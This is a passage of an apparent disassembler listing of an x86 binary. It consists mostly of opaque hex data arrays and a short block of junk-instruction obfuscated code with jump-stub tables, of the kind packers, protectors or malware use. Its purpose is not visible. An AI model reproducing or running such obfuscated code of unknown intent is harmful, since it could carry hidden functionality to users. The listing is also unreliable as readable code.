3B4BF811h, 0EB3EC879h, 40E7120Ch, 6EEC8B6Bh, 983B34CBh dd 922D3E15h, 7CC155EEh, 6349C64Dh, 0FC3B0AA2h, 4481078Eh dd 0ADA444E6h, 0BB6FCE72h, 5320A326h, 47F58520h, 57DB2FA9h dd 0B53AFDA1h, 3D12B88Bh, 0A877FE8Ch, 70872AD1h, 0F90EE289h dd 0CB43C241h, 0E09842h, 4E1E0000h, 0AFBF14B3h, 609A7110h dd 0B2C116B9h, 96637817h, 772D50EFh, 0D9781F5Ah, 0B453F602h dd 10AF4E1Fh, 0B659FCFBh, 0FB028104h, 9638E8C4h, 0DE1BEDD5h dd 34439837h, 1799403Ah, 0DC1BB278h, 0DAA99C39h, 875CFC9Bh dd 0F022C568h, 4FEA0969h, 5AD87F7Ah, 2D374CD3h, 4C23C4EBh dd 5FEB841Fh, 680583BFh, 26C96C8Bh, 6A03A6D1h, 446557D9h dd 242BF358h, 8E66BF1h, 2408F792h, 892DAB4Ah, 39D87B74h dd 0EBF271F4h, 86AE664Eh, 6C8B6000h, 0E8B642C9h, 0C31A9934h dd 9EAE661Eh, 3D5E9C28h, 945FB858h, 0E723BC57h, 0C2AD323Dh dd 6A109C1Fh, 2D51FE08h, 0C05D04EEh, 0C968088Ah, 7B820184h dd 16AE6677h, 57A62DB0h, 2AAE6677h, 8E7FC9Ch, 771AE360h dd 0F75AE66h, 3E6F491h, 5C000000h, 0D91BBC86h, 2552A13Eh dd 0DF0EE582h, 244CA740h, 0E20FE481h, 2851A23Bh, 0DC0FE481h dd 234FA441h, 0E610E37Ch, 6824AE47h, 6DF4h, 89241C89h dd 4C381E3h, 83000000h, 1C8704EBh, 89515C24h, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 2404895Ch, 81E38953h, 4C3h dd 4EB8300h, 5C241C87h, 53243C89h, 0FC227DBBh, 0D320B864h dd 0D8296B1Ch, 81241C8Bh, 4C4h, 3C8B5400h, 4C48324h, 9EBD5550h dd 14F6046h, 5D04246Ch, 8108478Fh, 469E086Fh, 3C8B4F60h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 24048B5Ch dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0FAC287E9h, 3F743EFFh dd 20BB02B8h, 0FFC50306h, 0EDDF0FE0h, 8E050311h, 0C50A683Dh dd 0CEE69736h, 0F5EC02Bh, 50542D2Bh, 8473D35Eh, 0B544967Ah dd 36A5164h, 5CFB774Fh, 9DB18F64h, 0AF6CEA59h, 29A2D57h dd 0C9852503h, 1DF37B20h, 0E6D21874h, 0D6BF3E13h, 45093A1Ch dd 24EB3Dh, 8 dup(0) dd 0E9000000h, 0BDh, 0BBF6B589h, 858B0620h, 61B1CD5h, 124D858Bh dd 0B58D061Bh, 620BC40h, 40F4858Dh, 0D0FF061Eh, 0E855C3h dd 5D000000h, 0BC46ED81h, 0BD830620h, 61B1CD5h, 2C850F01h dd 0FF000000h, 20BBF6B5h, 4D858B06h, 35061B12h, 34812736h dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h dd 6A000000h, 0FAB58D1Ch, 560620BBh, 0BBF6B5FFh, 858B0620h dd 61B124Dh, 81273635h, 83D0FF34h, 0B58D0CC4h, 620BBFAh dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h dd 1B80000h, 83000000h, 1B1CD5BDh, 850F0106h, 7, 2E9C35Dh dd 5D000000h, 1F858DCFh, 890620BCh, 1B29DD85h, 0EE806h dd 0F5BC0000h, 0EC00CA84h, 9E521DAFh, 0BE5A9917h, 7E95Bh dd 0CBD20000h, 4EB2637Eh, 0CC38156h, 0F800005Ah, 165468h dd 7E900h, 3BEB0000h, 0B598A60Eh, 0D08B5F00h, 6060038Bh dd 0EE9h, 8C2A1200h, 8071DD42h, 0D0CFCE9Ch, 6141B74Bh dd 0C6F08161h, 0F5995FEh, 0F081D2B7h, 2BC60AC1h, 0FAF081F9h dd 0B5172326h, 0F605055h, 14E9DEBFh, 0F1000000h, 75DBDDBCh dd 0E38C81F8h, 1E5C492Eh, 1240982Bh, 61A524BBh, 9E9038Fh dd 0C1000000h, 6D514CA8h, 0CD4543F3h, 2D5CEB81h, 0C38170A0h dd 70A02D58h, 38D0Fh, 0F5800000h, 850F4FFDh, 0FFFFFF84h dd 9E9h, 8F3DE600h, 71688D30h, 8D8DB725h, 620BE8Ah, 0A05BD89h dd 8D89061Bh, 61B2429h, 0E95129BFh, 6585C74Eh, 68061B07h dd 6A000073h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 3B24C355h, 0F46EECD1h, 0CE84DBEh dd 9B000000h, 0FD0041DFh, 2CD84F64h, 0F9FE06Dh, 0C758C1B7h dd 1B13D185h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 69853301h, 0FF061B30h dd 1B07B5B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0D78B66F0h, 2F8595FFh, 6A061Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0FD2738C3h, 958B92F1h, 61B2D81h, 95FF006Ah, 61B2205h dd 3DEBC08Bh, 805396B5h, 0ACF3A82Eh, 0FB799249h, 0FD60C4E2h dd 0DBCCE004h, 5100C53Ah, 22A90B9h, 0B9C9B2F4h, 3ED73758h dd 0FEB3217Fh, 5789B069h, 39FC54C2h, 52A0A2A4h, 6E473FA3h dd 6A9C5DDh, 0F808EBF7h, 4AB00Eh, 0E9023F00h, 0C27h, 20C0B168h dd 86FEE906h, 9B68FFFBh, 0E90620C1h, 0FFFB86F4h, 20C35B68h dd 86EAE906h, 3468FFFBh, 0E90620C4h, 0FFFB86E0h, 20C4EA68h dd 86D6E906h, 0C968FFFBh, 0E90620C6h, 0FFFB86CCh, 20C75168h dd 86C2E906h, 7E68FFFBh, 0E90620C8h, 0FFFB86B8h, 20C95468h dd 86AEE906h, 45FEFFFBh, 4B70210Fh, 5A622F01h, 47F516ECh dd 615C2D03h, 46DA01EFh, 2E044CF7h, 13ED615Dh, 2C064CF6h dd 1AE8605Fh, 0B5C3DF40h, 3E4AF11Dh, 647F11E5h, 355B51F6h dd 2CEDF7AFh, 3C3D3B0Dh, 495ACB7Dh, 0E12E8ACBh, 6072E343h dd 4CD1D218h, 8F6173E3h, 1F330DCEh, 0B9819349h, 0D7CC599Fh dd 4DA0D961h, 3D0F2C91h, 3A28BDA7h, 52CC9331h, 0CA00FA5Ch dd 4ACAD7B6h, 71B3609h, 4ACAD771h, 0B08A1C7Ah, 0A97FCFF3h dd 8174EC09h, 99FBD5A2h, 50CA6674h, 38DCh, 7A240A00h, 22AFA334h dd 0EF52CCB3h, 0C5B7B187h, 0DA4ACA93h, 93906AE8h, 92C7A1B1h dd 0CD82BFBBh, 73702F73h, 542302F5h, 0EAD18A7Ch, 3E6F485Eh dd 0A650CA3Fh, 0F5h, 3C0C3350h, 80CAF0ABh, 482234AAh, 0E2D8784Bh dd 2072766Dh, 31A517EBh, 0FCEA6458h, 5228201Fh, 0C4DF6A51h dd 0A3B5F154h, 492F2101h, 924CD17Ch, 0F066E2D9h, 61468C66h dd 0D04CD178h, 61F65FE9h, 0D1780B71h, 7066D04Ch, 9EAA9182h dd 1DAED09Ch, 4E712A1Eh, 20B62802h, 65BE9BB7h, 138352CCh dd 0F63B5D1Dh, 0D89E71DDh, 6D637899h, 4ACA8F0Fh, 63F462D4h dd 0BEBC96A8h, 99891E08h, 54DD6534h, 7B50C531h, 4B2505C8h dd 0EBF20E64h, 0C17375D5h, 6EEFC153h, 0A5BE92ADh, 1622601Fh dd 0E7A4B258h, 4C074DCh, 0F75DEA53h, 995D499h, 0C1820000h dd 0CFEC9D93h, 0B686837Dh, 0CBF1A290h, 0DDE0B17Fh, 0C2567D73h dd 0BA88C87Bh, 9769E5D9h, 0B88AC87Ah, 8E64E4DBh, 393F53C4h dd 0C24AF162h, 10339D61h, 9AA17240h, 1179322Bh, 0DB3EB4FBh dd 0B99CB578h, 0AF811361h, 0B17A24CDh, 0FE7BE8E8h, 0C156C0C4h dd 0ABD1C156h, 0FC4CD1B3h, 11850A3Ch, 0A2840D03h, 2D8952CCh dd 8263154Bh, 490E4ACAh, 0BF002D8Fh, 0E2B950CAh, 0C57771DFh dd 0D2F5CFh, 339F0000h, 3D3E3C0Ch, 0F6ECCE82h, 4CD1A6D1h dd 1EF5960h, 491F2910h, 4CD91F39h, 26564CDBh, 0AD4CD1A6h dd 54455B49h, 5952CCBBh, 0CB7B68FDh, 424912D4h, 0CBB7899Bh dd 6766CB1h, 0CD4ACA20h, 0A19C7869h, 358E6F55h, 441C369Fh dd 6F54DD1Fh, 2BD9E07h, 0AC97744Eh, 2C391521h, 0B51FD39Dh dd 0EA8151FDh, 898E5C5Dh, 8ABh, 0D3ADA798h, 6D4309B6h dd 0D8AA9C9Ch, 6B4505BBh, 0D3ADA39Eh, 0FAC57880h, 93AF5C56h dd 0FAC4C5BBh, 92A96A58h, 8116BCB6h, 0F163EB91h, 0CB93F04Ah dd 49F51033h, 5C662305h, 61F660F6h, 0A29CDCF6h, 0C334CD1h dd 7883E3Ch, 2AAB858Fh, 0E7ED6439h, 0C1D392F1h, 29173108h dd 492F23B4h, 924CD1EDh, 8D6BE7D9h, 6D574DD7h, 3E3C0C33h dd 0C47F7E3Dh, 0D9CF7B41h, 45F7F163h, 7721E1CFh, 5833A431h dd 0A6A69B60h, 928412C4h, 0CC9F6780h, 46249252h, 4A08BA91h dd 0BF8FB370h, 0F3E173E9h, 4F212716h, 0EBCD7B42h, 14C964F5h dd 145F5D2h, 0F4526A27h, 0BA9665F6h, 0AC633C7h, 655BEDCCh dd 22B395A4h, 4002F931h, 42BC3285h, 911022Fh, 0E7C1D3B0h dd 0A5A99576h, 0D0311C3h, 0CD8C4E6Ch, 0C402DEADh, 0F85D53F5h dd 3A302023h, 2B99284h, 6B843FBh, 6E4CDA4Ch, 0F59D2374h dd 4B05F6FDh, 0F5CF2E0Dh, 7BE95B5Dh, 0A275F9EAh, 4B6E81ECh dd 0DDF66759h, 9A89E542h, 0CC2AE128h, 23B3FF14h, 0CB7D3C1Dh dd 0AC6D77EDh, 0ADBDBB8Dh, 0FBD0458Bh, 84110343h, 0C9833813h dd 5D3CC5DBh, 55C12C6Eh, 756DFA5Bh, 34686A07h, 6A8EEEE4h dd 0E1553468h, 0F764775Ch, 162BCC1Bh, 94A69680h, 2D0B3B03h dd 70DEE2B7h, 0C552C47Ah, 7575D0CDh, 1711852Ah, 73455821h dd 0A43C4B32h, 42F3DB42h, 46843D8h, 0FA710000h, 4CD1A282h dd 0D19298DCh, 0B5AAF64Ch, 70044CD1h, 934CD1B1h, 6D4B05B8h dd 94F4EAF7h, 0C7C30555h, 0BA4BEDDDh, 46CF4503h, 0CC8F3F4Ch dd 1B21FA52h, 3E98252Fh, 0FF67D286h, 0A0BDD63h, 6EBh, 936DE7D8h dd 0AD83C976h, 986ADCDCh, 0AB85C57Bh, 936DE3DEh, 0BA85B840h dd 0D3EF9C96h, 0BA84857Bh, 0D2E9AA98h, 41D67C76h, 0F1612B51h dd 8B53B04Ah, 3E3C0C33h, 51C60C2Eh, 0A2ACCCC6h, 0BF374CD1h dd 585240D5h, 1F52F130h, 0DCE803Ch, 0AD1F192Dh, 0D2A016B7h dd 42D5B5F8h, 0F11C2850h, 5143B34Ah, 803ECF69h, 0E87EF0CAh dd 7892637Fh, 0DF5754ECh, 3327963Ch, 55E7AC09h, 3A11860Fh dd 0C6DCCA88h, 0FD961B81h, 2C3832A4h, 0CC5BCC12h, 69B5F2D7h dd 93DDF652h, 0F05666A7h, 1F627066h, 0E2FB8DDFh, 683CD1F1h dd 8D97C9BDh, 4A019600h, 95BDD673h, 4094E439h, 0BDD2AAB8h dd 0BD19E38Bh dd 0C7845927h, 955654FCh, 1BD1A7ABh, 0FFBE9B89h, 6E11B949h dd 0AEFC0D3Eh, 612E9h, 0E46FF00h, 0E26A5734h, 0B3B0310h dd 0E4665435h, 0E42FD0Eh, 64D92134h, 809F759h, 6B281A34h dd 0A07F959h, 0B51B1533h, 664A3220h, 32914AF1h, 347A242Ch dd 9F56AFA3h, 138352CCh, 0E3655415h, 372C2505h, 1DB5BDBEh dd 0C4B59F75h, 0C9DBF0Ch, 0A81E1C2Eh, 5CB9A93Eh, 7954D7EEh dd 4B2D231Dh, 234CD1DFh, 4CD1DF55h, 1AE9D5B6h, 0BEBC2A28h dd 0C2E1E08h, 0A44251C6h, 6E8215D2h, 0A5BD2A3Ch, 52F15AA5h dd 6197F1E2h, 0F7F15F62h, 66C84C45h, 89ED9284h, 5E253EAFh dd 0AE08DDC4h, 4F3A283Eh, 1D4AF107h, 7A88D47Ah, 700444FBh dd 57C3A8DCh, 5C3C418Fh, 49000005h, 25E6DC78h, 4D3E3418h dd 2AE7D96Dh, 4F3C3614h, 0EFE6DC74h, 212F122Bh, 0D07E424Fh dd 430F31E2h, 0AB9D9C6Dh, 889AFBD5h, 4AF166F0h, 24D6A8FBh dd 34A3347Ah, 0A2C9AFA3h, 59124CD1h, 656FE561h, 0F1307F6Bh dd 0B4B62052h, 724008B7h, 4651F6EDh, 0CC08D90h, 0A71D1B2Dh dd 8C9243Dh, 31E1CB80h, 7B445723h, 1FDE8267h, 64EAD6C4h dd 0D18664F2h, 0F0543FAh, 50C5833Ah, 5311EC43h, 918331C1h dd 7DCBF29Fh, 2A11CA7Bh, 0BCAA1C1Eh, 9268E0DFh, 18561201h dd 14592721h, 50C530E9h, 75D1E9A2h, 76AD3E73h, 0D7691514h dd 7D7D574Dh, 88000001h, 717E329Bh, 7C6A6E54h, 347A248Ah dd 8E42AFA3h, 278F52CCh, 0B9631751h, 37A84ACAh, 6E46654h dd 0DB754650h, 31A6EC8Eh, 0D795D021h, 0C7B91D54h, 7C8B3516h dd 0B198BBDh, 0C8DA6F4Eh, 4CD1A2B0h, 13153D07h, 2CBA1CA1h dd 72DCE0BBh, 0B6858664h, 0BAE4A092h, 5E74E374h, 4CD1A21Eh dd 0F26371E5h, 0CDF46E65h, 0A49BE1F1h, 0F6604CD1h, 0D6FAF0DDh dd 0CD9D2C0h, 0B9C52CCh, 0CA486117h, 1A0C6A4Ah, 450BB675h dd 0B68546CFh, 4804B992h, 12665C5Eh, 7F4ACA48h, 0F7EE078h dd 7750C9F1h, 33h, 0B17A242Dh, 62A4079Dh, 63F462A9h, 0CCE9E26Fh dd 7147AF52h, 0CAC90577h, 8C3744Ah, 63201A34h, 5A0CEE5Eh dd 77F1DACCh, 0CA73E815h, 955050h, 33860000h, 3D3E3C0Ch dd 2FECCE82h, 41423810h, 4A59CE7Ah, 0C3E39C9Ah, 19E7FD56h dd 0D1ABEEBFh, 0D078474Ch, 327822E2h, 4F55ADA5h, 1C7A52C6h dd 0E0EDD08Bh, 8C69A5D0h, 0B324B2ECh, 8D6BE5D8h, 62F3CDD7h dd 0BDBB97A9h, 6D4BFDBCh, 0A2776DF7h, 7D01B19Fh, 8640179h dd 37DE5AAh, 596A0000h, 370405FBh, 4E6E1B15h, 33090AF8h dd 55682917h, 4ACE05FBh, 0B280D0F3h, 7F71DDE1h, 0D0A2B092h dd 764CFCC3h, 11677BDCh, 0DA4AF164h, 10337589h, 9AA17240h dd 33A2D4AEh, 3D3E3C0Ch, 7E5DCA7Eh, 0EDAE8CC2h, 0CA7C7ED2h dd 86784A5Ch, 0D12286FAh, 0E0F2654Ch, 4CD12298h, 0EFE1F363h dd 4CD1228Dh, 0E5D86913h, 766CF96Bh, 52F1B074h, 0ADBDBB1Bh dd 0C2D0458Bh, 54EC9CA5h, 0D24EE650h, 0BD5E1F8Ch, 2F52AEBh dd 0E1E20000h, 0AF8C7D73h, 0D6E6A39Dh, 0AB918270h, 0FDC0D19Fh dd 0A2765D53h, 0DAA8A89Bh, 774905B9h, 0D8AAA89Ah, 6E4404BBh dd 195F73E4h, 0E24AF165h, 0C337D81h, 0E77DC9F1h, 0D4291011h dd 0FFF163E5h, 9C01455Eh, 0FE103658h, 347A24E8h, 79D3E8A3h dd 0E3E8FA6Bh, 8E52CC11h, 64185228h, 154ACA55h, 0C3988A46h dd 9C05CAFDh, 9922BB44h, 0ADB72D0Bh, 0C9EA65C8h, 20CD50h dd 24F70000h, 0AFA3347Ah, 52CCB322h, 0B7B187EFh, 4ACA93C5h dd 0C729A7B4h, 50CAAE56h, 0CFBEh, 0C33E800h, 0AB8AB3Ch dd 0B9BFD3E2h, 424CD140h, 29EBBFD4h, 38392F25h, 2CEDCB85h dd 3C3D3B0Dh, 495ACB7Dh, 0C2AD2156h, 281A0C88h, 0D1D31D32h dd 0D825144Ch, 0E4FE67E1h, 4CD1D394h, 936DF75Fh, 1A3609C2h dd 8D704F0Ch, 31079DB1h, 6DE5DFBCh, 0A3E99377h, 0CFADA532h dd 144CD1D3h, 2F23B4A2h, 52CCB25Ah, 52F4C487h, 8270E658h dd 410FD882h, 0A7BB00F2h, 10029301h, 54DD34F8h, 6922B323h dd 0BD95AF56h, 0A59B09BBh, 0CB77D9E4h, 5DEB2A47h, 0C8838466h dd 0B5000001h, 997A480Ch, 0B9DAA8A4h, 9E6B4501h, 0BBD8AAA0h dd 637A4808h, 0ADA39E9Fh, 440AB6D3h, 0AFA39D6Eh, 5FE9D0C1h dd 3C56C791h, 4AF16A3Ch, 339A5CC7h, 0A1724010h, 0A2D4AE9Ah dd 0A3347A24h, 0CCB322AFh, 803CEF52h, 0EC7AECCEh, 0AF99A07Bh dd 171103B9h, 0CA935F21h, 0A33D4A4Ah, 0CAADDC41h, 0AC4450h dd 33720000h, 3D3E3C0Ch, 7BECCE82h, 53B5EE68h, 0B3A1C9E7h dd 0D130889Dh, 0B692A94Ch, 58F0CFBCh, 57E89262h, 0E66FE56Dh dd 0CC519FECh, 12495A52h, 0DAEA7966h, 0F95DE2F4h, 0D061FB07h dd 63F462ECh, 0DDFCF66Fh, 1E34A354h, 4CD7B85Eh, 32A331A5h dd 75DAE6A5h, 0D7B81F5Dh, 0E472E44Ch, 85465006h, 0EF9C96BAh dd 420E31D4h, 68B420D4h, 0E9C75DEAh, 0F224h, 6EE6DF00h dd 82CA7794h, 6BDBE3B0h, 84C67495h, 6EE2DDAEh, 84B94194h dd 0E8A997B9h, 8B887AD4h, 0EAA799B9h, 0D57B75D3h, 6B2A5240h dd 52B14AF1h, 4010338Ch, 0AE9AA172h, 9C7FA2D4h, 17CDAB9Dh dd 0DB6D4C0Dh, 2B1D1CDDh, 47352DBAh, 0A44CD1A2h, 0D1A2CEAEh dd 1CA1154Ch, 0A6D6ACBAh, 0C9D94E94h, 52F130E5h, 51FDC19Ah dd 4EEFE557h, 2A1112E8h, 9093D19Bh, 178D9037h, 0F7516829h dd 2368C701h, 0DDE10F61h, 0C77A7771h, 3162AF89h, 0D328C4B7h dd 9EB42315h, 66123DEh, 0E6A3B125h, 0DE7F71D7h, 2E0C40FDh dd 0CEEDAEB8h, 0BD83807Ah, 7D0AB8Dh, 0D3D57744h, 4A202616h dd 7D950294h, 66123FFh, 0B7849204h, 65E4DB19h, 61230F6Dh dd 0F462D406h, 1A2E0DFEh, 0F995968Dh, 0DBFD11CCh, 0E97EEFC9h dd 50421032h, 6615928h, 745143B3h, 3, 33D42A22h, 0AB684212h dd 0B5B6B494h, 0B071470Bh, 2BE8C28Ch, 41423818h, 1BD8D27Eh dd 46432525h, 19DAD076h, 94522824h, 3DDF68h, 24048900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi push edi mov edi, 22272236h push esi mov esi, 6F7E3D83h or esi, 1CE8066Bh add esi, 0BFC13A96h or edi, esi pop esi or edi, 138300F6h sub edi, 399EBBC2h mov eax, edi pop edi push 46E0h mov [esp], esp add dword ptr [esp], 4 pop esi push ebx mov ebx, eax push edx mov edx, ebx mov [esi+8], edx pop edx pop ebx push dword ptr [esp] pop esi add esp, 4 mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_541AD8 ; --------------------------------------------------------------------------- db 4, 2 dup(0B8h) dd 620CA6Bh, 0E0FFC503h, 154F0E6h, 1D236D46h, 5A22C68Dh dd 51FFEE2Eh, 161F5053h, 4BC78AD8h, 5588B170h, 668CEE67h dd 23CDC4CAh, 8C4D681h, 640726Eh, 7CDDF437h, 43C8631Dh dd 4A1F5A2Ah, 1E14DAADh, 0B7F7757h, 2CF1D806h, 2BFC8E05h dd 12CEA28Ah, 7C2B1780h, 52D346FFh, 0F905680h, 662CA31Ah dd 5D112F68h, 4C873544h, 411C8104h, 2A6D4C89h, 308C87B3h dd 7F233446h, 18AEBBF0h, 0CC3D8D8Dh, 0B8660620h, 8D8991E2h dd 61B2429h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 2AC35343h, 1A1D9589h, 0E280061Bh, 6585C7D8h, 0F8061B07h dd 6A000066h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 62D6C351h, 9144E342h, 0F595891Eh dd 29061B19h, 1B0AC98Dh, 0D185C706h, 61B13h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0BEC8C357h, 190D7E99h, 25D9B5FFh, 9501061Bh dd 61B1261h, 2F8595FFh, 858B061Bh, 61B1251h, 6AF6B70Fh dd 595FF00h, 8B061B22h, 1A2AEBC0h, 9A483CA7h, 0CB1B6DFh dd 0B2652B61h, 0B8FC4550h, 9D307FC7h, 5924EF4Eh, 6DCDFC0h dd 9A99E8Ch, 0E6A0B61Ch, 75461E11h, 9E885h, 0B4B50000h dd 75ACBFA4h, 66BFDA23h, 0E95BF28Bh, 12h, 712CBCAAh, 0A9A173C1h dd 7A09DDAh, 3AEB0300h, 0C38112F5h, 727Bh, 0BFD68B66h dd 3575F13Ah, 0ED55F781h, 0E9603575h, 11h, 27687332h, 0EE5FE02Dh dd 3751D61Bh, 0E5533126h, 19BD89DBh, 61061B11h, 958B038Bh dd 61B22B5h, 0E3BBE881h, 9D017FDFh, 61B31F5h, 3BB1F081h dd 0B966489Ah, 0F081F233h, 2DBB339Fh, 0ED8D8960h, 56061B19h dd 5EC2BF0Fh, 0E8038961h, 8, 0BEB7524Ch, 4E12DAEh, 68A0Fh dd 958B0000h, 61B1EBDh, 3EB835Eh, 6C6DB966h, 95BD314Bh dd 81061B02h, 1EFh, 99850F00h, 8BFFFFFFh, 1B03C995h, 0ABE906h dd 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h dd 0A601E800h, 323D94E7h, 669CBC83h, 1299E933h, 0C4680000h dd 0E90620CFh, 0FFFAB034h, 20D07868h, 0B02AE906h, 7968FFFAh dd 0E90620D1h, 0FFFAB020h, 20D2A968h, 0B016E906h, 3468FFFAh dd 0E90620D3h, 0FFFAB00Ch, 20D3CE68h, 0B002E906h, 0A668FFFAh dd 0E90620D4h, 0FFFAAFF8h, 20D54468h, 0AFEEE906h, 2C68FFFAh dd 0E90620D6h, 0FFFAAFE4h, 20D7D068h, 0AFDAE906h, 0D068FFFAh dd 0E90620D8h, 0FFFAAFD0h, 20DA2F68h, 0AFC6E906h, 8268FFFAh dd 0E90620DBh, 0FFFAAFBCh, 20DD0C68h, 0AFB2E906h, 1768FFFAh dd 0E90620DEh, 0FFFAAFA8h, 9235D09Ch, 0EF92313Dh, 9C3BE218h dd 0E6892447h, 9E41E811h, 0D1A829BBh, 8870872Ah, 0C0AD42E5h dd 8E697E21h, 0FB9A4CEBh, 0E8B36574h, 8F33FC38h, 0E66DE86Dh dd 3EC87D17h, 8657DC6Ah, 0D93EC87Dh, 3936CB6Bh, 0FDFAF996h dd 0FE43B75Ah, 1CB48CBh, 1AC4F559h, 0AD3013ACh, 6BC72CA1h dd 0A44FE88Fh, 0A4932CC7h, 0DFC9F77Ah, 88C02A45h, 0CEFC6991h dd 38h, 22A73E34h, 4099169Bh, 1F3EC87Dh, 33D719A9h, 2F126DBFh dd 6D47CC8Fh, 0EEC4F484h, 0B768314Ah, 1B9D93E7h, 0D13CC182h dd 3BE9C72Ch, 5D92CA34h, 0DDC4FC69h, 3E000000h, 0B239DC1Bh dd 0DD1913DDh, 27A9A13Eh, 31CBC8Eh, 0C56209F0h, 19E412Eh dd 0BF6205F2h, 6178F77Ah, 3EC87Dh, 69F4633h, 1D22C644h dd 3EC879D7h, 5E9F24A1h, 31C13781h, 11DEF393h, 3B34CB6Eh dd 81CD0C93h, 26A4C137h, 81D9209Fh, 52B8C137h, 5ADF37D0h dd 0D617EC6Fh, 0CAC9E37h, 0AF50CA49h, 5DEB3B0Ah, 81F148BAh dd 8851CE76h, 0E7C72CB3h, 446DF61h, 0CE80FF86h, 613D1215h dd 40C2618Ch, 640BE6BDh, 0C5B380C5h, 90697E22h, 331015E9h dd 0CD6243C2h, 0FFC0Dh, 7A155700h, 57F600D7h, 0B05723B8h dd 5EF9FA11h, 0A64D24BBh, 953C5E03h, 0BD12B55Ch, 9A7110B3h dd 0C61DBC5Bh, 6F6306A9h, 0B28E4FD4h, 8E138E8h, 37DE1B3Ah dd 93109598h, 3EC87D4Ah, 0EAFF9F25h, 7FC76A0Dh, 9B22A73Eh dd 0F4AE1E14h, 0AA43C1C4h, 2CB24499h, 7CD3B1C7h, 6980DA12h dd 8F7CFCh, 6D060000h, 15B95896h, 7B14B7C0h, 3DDA8178h dd 0C879FC06h, 0A649263Eh, 6003EC03h, 0BF0A4FC7h, 0AF45B73Ch dd 70D63B0Ah, 0C1085DD1h, 16ECB53Ah, 0D5733D12h, 0D178814Eh dd 17542B2Eh, 56E1F877h, 0A80CD0Fh, 0E613E888h, 30B46F3Fh dd 7D1243C2h, 0F485Dh, 36D1A300h, 93323C93h, 6C13DFF4h dd 9A3536CDh, 7219E0F7h, 0D9F8AACFh, 8156F9A0h, 9E35D477h dd 7A9130CFh, 8337DA7Dh, 0AD7A8300h, 541538E8h, 37DE1B6Eh dd 3A344398h, 78179940h, 6BE86DB2h, 3EC87D92h, 0DD4265DDh dd 0DE5E20D8h, 4433C868h, 0EF04A1h, 4D25BA5Dh, 0B93C09A6h dd 0C8A5A33Ah, 0E88B653Eh, 97FFB4Fh, 0C4679065h, 0BE3FC441h dd 0D13EC8A5h, 0B1749333h, 697FFD2Bh, 390C5B5Ch, 72D33F93h dd 5327C749h, 0AE9B620h, 85DCF6Fh, 43B53AC1h, 0D4C4F512h dd 3829AF36h, 40B4C09Ah, 7A11C66Ah, 0CEA05660h, 0C24980C5h dd 0AE90FF3Dh, 0C0BA89C6h, 0F3B0830Bh, 8709EB6Bh, 80BC5CEEh dd 0BD86D0Ah, 58F7F6E8h, 700D8BBFh, 798F4ED5h, 64E2C288h dd 89D042E6h, 6B38BD40h, 9A63E88Fh, 0F5C28879h, 0E76CEF8Fh dd 38A9E9A8h, 0C9961DABh, 976C0BAEh, 30E1B558h, 7A462488h dd 0E4725B5h, 0D2A20000h, 33439837h, 14DEF594h, 3635CA6Dh dd 0AE7FC9Bh, 0FBA1C463h, 55F49BD6h, 30CF727Eh, 5CFB9ADBh dd 22C56887h, 4F8E15B0h, 2238E8ACh, 0DF6D7949h, 9DEA0D86h dd 0A035D9F5h, 7B9B34D7h, 0E360E3E6h, 0C4F55F25h, 7A94C236h dd 9CA41A54h, 0D811971Eh, 373FD008h, 26B73CBFh, 39C72D1Ch dd 1A0C2BCBh, 7F06C3h, 3D10171Ah, 49CC4FB5h, 22533CAh dd 18B84ECDh, 25B144FFh, 826FCD02h, 0C9B142DBh, 0B3698522h dd 9A846E9Ch, 9F76DD7h, 5AD7F64Fh, 22904D5h, 49ED5BCDh dd 4890h, 0F367F500h, 0A5443285h, 3DB24208h, 0AD32B95Ah dd 0CD02E32Ch, 1B21C543h, 9B22A73Eh, 0F4B2F414h, 56DD6BC4h dd 2ACD6C89h, 2CC9D625h, 9616A2C7h, 382DFEE5h, 3F38CD71h dd 2D4A199Ch, 0B047E68Ah, 518926C5h, 0D61h, 5C966DC7h dd 5ADF11B5h, 0BA67EC6Fh, 0BDC4EB33h, 0EFC447h, 0A877BA5Dh dd 74892DD0h, 0D73FD87Bh, 3FC44782h, 3D340075h, 26FD8006h dd 0EC03A649h, 4FC76003h, 0B73CBF0Ah, 374B17A9h, 0AD4C1CAAh dd 9B5DA64Ch, 0D17C812h, 82720000h, 0C3B348E7h, 846E8524h dd 0C6A53ADDh, 7A778C2Bh, 8B1134D3h, 0E5842B46h, 0A03FE20Eh dd 0EC8B2A4Bh, 9235D817h, 0DF1EA520h, 0B238E8AFh, 966D09B9h dd 0D12B659h, 3EC87DC8h, 73F0D469h, 3EC87D6Ah, 7A017F05h dd 0EB3227F5h, 0CB52B8C4h, 0DD7C7946h, 0A747EE04h, 